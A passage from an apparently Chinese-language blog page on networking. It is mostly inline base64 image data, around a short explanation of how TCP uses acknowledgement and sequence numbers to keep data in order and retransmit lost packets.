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" alt="avatar"></p><h4><span id="tcp为什么是可靠传输协议">TCP为什么是可靠传输协议</span></h4><p>通过上图可知,TCP是通过<strong>确认号(ACK)**和</strong>序号(SEQ)**,来保证数据顺序以及丢包重发,即某个带序号的包没有收到回复,那么TCP会重发该包直到确认送达。</p><p><img src="data:image/jpg;base64,/9j/4AAQSkZJRgABAQEASABIAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjL/wAARCAGsAwwDASIAAhEBAxEB/8QAHAABAAICAwEAAAAAAAAAAAAAAAYHBAUBAgMI/8QAWRAAAQMDAwIDBQMFCggLBwUBAQACAwQFEQYSIQcxE0FRFBUiYXEygZEWFyNCoQgzUlVylLGy0dIYJDdWYnN0kjQ1Q1NUk5WiweHwJSYnRFez8TZFgoS0wv/EABQBAQAAAAAAAAAAAAAAAAAAAAD/xAAUEQEAAAAAAAAAAAAAAAAAAAAA/9oADAMBAAIRAxEAPwC/0REBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREGPXVkNuoKitqXbYII3SyO9GgZKgtw6oRNrbdS22z3GoqajbPLTS0zo5PZjwZGeuDjg9+VObg6mZQzGr8IwbTvErdzSPQjz+ioe8zUl4vtY60+2++Yw5tZdK+0zSR4c3DYY4hG50ePhLSQMDcecoLftmsaO6XeO2RUNzimfC6YOmpSxgaDjJd8zwFmXK+0tHUyW5kzfeRpX1EUTo3lpaOAXFo4GeO+fRQrplqehfRU+nrfpW521tM6SKWTwiYGSMwXZe7DskkHBAPPZZD6O5XDq7cprZcXUcVLbKeGpeKdsm55e57WfF2+Hnj1CCQWzV9HUUdlFxZJQXC6AtipJI37vEaCXtzt8sHk4yFI1FavS1wrdT2a7V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